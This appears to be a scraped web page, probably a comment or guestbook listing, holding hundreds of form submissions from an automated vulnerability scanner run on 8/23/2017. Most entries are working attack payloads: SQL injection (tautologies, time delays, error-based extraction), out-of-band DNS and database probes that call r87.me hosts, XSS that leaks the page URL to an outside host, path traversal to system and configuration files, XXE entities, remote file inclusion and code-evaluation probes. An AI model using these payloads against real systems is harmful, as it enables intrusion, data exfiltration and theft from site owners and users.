+ /../../../../../../../../../../etc/httpd/logs/error_log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ 127.100.11.2/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:23 AM +

+

+ '+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +' +

+
+

"+gethostbyname(trim('o010_rdnxuzq7qo7pydxgmnhzse_kgjmgziils9m'.'jwe.r87.me'))+"

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

' WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:23 AM +

+

+ 54.204.37.212/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:23 AM +

+

+ (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +

+
+

"+gethostbyname(trim('o010_rdnxufondmf8mxmraqqbef599semzo1qzka'.'hew.r87.me'))+"

+

+ 8/23/2017 8:08:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ testsparker.com/elmah +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ /../../../../../../../../../../etc/httpd/logs/error.log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:22 AM +

+

+ %27 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ http://testsparker.com/elmah +

+
+

'+gethostbyname(trim('o010_rdnxujk-xulmgbzrj_8wlm6jihs9v8v3gmv'.'isu.r87.me'))+'

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxuauehqbdj08dzofhtepdxmdqqsesxlz"+"itg.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxufmfledms0tqb-1uyw_vpf6mzacya_v"+"nwu.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

'+gethostbyname(trim('o010_rdnxubc6b3rfauci7bvah5bijza6nghslqx'.'vu8.r87.me'))+'

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:21 AM +

+

+ 127.0.0.1/elmah.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:21 AM +

+

+ /../../../../../../../../../../proc/self/fd/2ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ ',netsparker(0x003E50),' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ /../../../../../../../../../../proc/self/fd/2 +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ OR X='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:19 AM +

+

+ /../../../../../../../../../../windows/iis6.log +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ AND 'NS='ss +

+
+

+gethostbyname(trim('o010_rdnxuwhgl88bi8g4kouzjeccvmq-c0vskuw'.'kzu.r87.me'));//

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ NS +NO +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:17 AM +

+

+ +

+
+

+gethostbyname(trim('o010_rdnxuq74jc83y023k8avv9_bl50c1ox1rkp'.'bq0.r87.me'));//

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:16 AM +

+

+ ' +

+
+

gethostbyname(trim('o010_rdnxuhsrkq3ylfvsy-ievxuw1rbhe6y0sjd'.'atu.r87.me'));

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ ::1/elmah.axd +

+
+

gethostbyname(trim('o010_rdnxuhny73xk8qwgshpfn2klqe8-mfu5cih'.'1kw.r87.me'));

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:16 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ 127.100.11.2/elmah.axd +

+
+

gethostbyname(trim('o010_rdnxutmd8812f0gy5djglocblsppudzq9yx'.'pc4.r87.me'))

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ ....//....//....//....//....//....//....//....//....//....//....//windows\win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ \';netsparker(0x003E4E);/// +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ c:\windows\win.ini +

+
+

";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxunuigphpvvkn4amt0hw11kzg3aicg9t"+"lty.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ "+netsparker(0x003E4C)+" +

+
+

gethostbyname(trim('o010_rdnxurnl-hzwr_abbig3zxzlxbszllhgf7j'.'xqk.r87.me'))

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ /../../../../../../../../../../windows/win.iniďż˝.aspx +

+
+

";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxucoe5clqmxxmeebhuyv-ug5nzsrd-hh"+"dhq.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ file:/windows/win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ '+netsparker(0x003E4A)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ 54.204.37.212/elmah.axd +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ /../../../../../../../../../../windows/win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ o010_rdnxurtuqnedkm7atmvcpmyua8haywhucwdoyx.r87.me/p/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ testsparker.com/elmah.axd +

+
+

+

+ 8/23/2017 8:08:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ /../../../../../../../../../../web.config +

+
+

Smith

+

+ 8/23/2017 8:08:12 AM +

+

+ OR X='ss +

+
+

Smith

+

+ 8/23/2017 8:08:12 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ */netsparker(0x003E48);/* +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ http://testsparker.com/elmah.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ c%3a%5cboot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ AND 'NS='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:11 AM +

+

+ file%3a%2fboot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:11 AM +

+

+ body{x:expression(netsparker(0x003E46))} +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ NS +NO +

+
+

+

+ 8/23/2017 8:08:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ n;ns:expression(netsparker(0x003E44)); +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ php://filter//resource=http://o010_rdnxu9kdfepoeiwpxwju9dydxwr8og6j5kehfb.r87.me/p/ +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ 1 OR 1=1 +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ http://o010_rdnxu8r3qe8x1xwizm6w-a2it_y4nacd-oftvx.r87.me/p/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ 127.0.0.1/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:09 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:09 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ <%a style=x:expre/**/ssion(netsparker(0x003E42))> +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

o010_rdnxua8t29ijj5lcsqcl7xpweyk2i6ljvp96in.r87.me/p/

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ ::1/trace.axd +

+
+

o010_rdnxu6tcixy-avunkhsze-67jxpjgkl4jksqxh.r87.me/p/

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ ns../../../../../../../../../../../boot.ini....................................................................................................................................................................................... +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

php://filter//resource=http://o010_rdnxuu2ie2xhes7eeg9zgowwk3o0idqxj6kon9.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ javascript:netsparker(0x003E3E) +

+
+

php://filter//resource=http://o010_rdnxufbfzmvyntutgafdsxhw5gr1uxox5yeqjz.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ c:\boot.ini +

+
+

http://o010_rdnxum5-4l2p9tvdmecwn6htpm4dqeunruu3az.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://o010_rdnxu_3dmwrd8xvoyshzzkya2kvt_ls1wahl3f.r87.me/p/

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:05 AM +

+

+ file:/boot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ /../../../../../../../../../../boot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ %dtd;]>&a; +

+
+

Smith

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ %dtd;]>&a; +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ 127.100.11.2/trace.axd +

+
+

Smith

+

+ 8/23/2017 8:08:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ %dtd;]>&a; +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ /../../../../../../../../../../boot.iniďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ 54.204.37.212/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ testsparker.com/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ http://testsparker.com/trace.axd +

+
+

'"-->

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

'"-->

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ "> +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ https://testsparker.com.r87.com/? +

+
+

Smith

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ '> +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:58 AM +

+

+ //r87.com/n/j/?0x003E36 +

+
+

Smith

+

+ 8/23/2017 8:07:57 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:57 AM +

+

+ //r87.com/n/n.css?0x003E34 +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:57 AM +

+

+ http://testsparker.com.r87.com/? +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ testsparker.com.r87.com/? +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ 1 ns=netsparker(0x003E2A) +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ ///r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ '" ns=netsparker(0x003E28) +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ /\r87.com/?testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:54 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ /../../../../../../../../../../boot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ r87.com/?https://testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAzRTI2KTwvc2NyaXB0Pg== +

+
+

Smith

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x003E24%29%3C%2FscRipt%3E +

+
+

Smith

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ '"--> +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuyoz3ygz7o3fb-fbmgahlo9g02qfwt7'||'o9q.r87.me') from DUAL))||'

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:50 AM +

+

+ r87.com/?http://testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupwyriz8l3hafztwi5bxtvogbklimak'||'jsg.r87.me') from DUAL))||'

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ "+print localtime()*0+0xFFF9999-22+" +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupjxsp5b-tc8mrkphwqyrjbysj9dta6'||'mu4.r87.me') from DUAL))))

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ //r87.com/?http://testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuntiadxvpt2vjilow5dxqk_zgklc92l'||'lga.r87.me') from DUAL))))

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ '+print localtime()*0+0xFFF9999-22+' +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ http://r87.com/?testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:47 AM +

+

+ eval('print localtime()*0+0xFFF9999-22') +

+
+

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu6olwxenayn61zuznzvkpieqw2uxuss'||'zqo.r87.me') from DUAL)

+

+ 8/23/2017 8:07:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:47 AM +

+

+ print localtime()*0+0xFFF9999-22 +

+
+

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu5bux1l7536c7txqvw2vvoxrdqbr4ju'||'dau.r87.me') from DUAL)

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

'||cast((SELECT dblink_connect('host=o010_rdnxuamtijxrh_ua47ll7e6-nc4qrs7wicc'||'wby.r87.me user=a password=a connect_timeout=2')) as numeric)||'

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

'||cast((SELECT dblink_connect('host=o010_rdnxu_0yjiybkjb8gteg5wkotzgoa1zifn1'||'bme.r87.me user=a password=a connect_timeout=2')) as numeric)||'

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

cast((SELECT dblink_connect('host=o010_rdnxuddfqmvhh1jbp6oafwbchqjv2quvajg'||'yru.r87.me user=a password=a connect_timeout=2')) as numeric)

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

cast((SELECT dblink_connect('host=o010_rdnxugpapkhq8ssuvqftyjaxfcqkladiscr'||'mia.r87.me user=a password=a connect_timeout=2')) as numeric)

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ http://r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

dblink_connect('host=o010_rdnxuzkqd2xzqzomqtyhwubjnsm7qrtw41t'||'hmy.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

dblink_connect('host=o010_rdnxuagjvg0f2rhewf39zzrgsd8gd5a9nzl'||'mxi.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:44 AM +

+

+ [php]print(int)0xFFF9999-22;[/php] +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

SELECT dblink_connect('host=o010_rdnxuvwmotchao5p8ee8yqxr8vb08wancnl'||'zrg.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ '{${print(int)0xFFF9999-22}}' +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

SELECT dblink_connect('host=o010_rdnxuet4tsuzg8phsdufx201xezqei3nqw4'||'3gg.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuoor_h9vzkn-hbagxjoylf8jk8jccgw'+'jfq.r87.me')exec sp_executesql @r--

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuaxtltofwd04m-y_ebcgkrjzqufv9ui'+'u58.r87.me')exec sp_executesql @r--

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

1' OR 1=1 OR '1'='1

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ {php}print(int)0xFFF9999-22;{/php} +

+
+

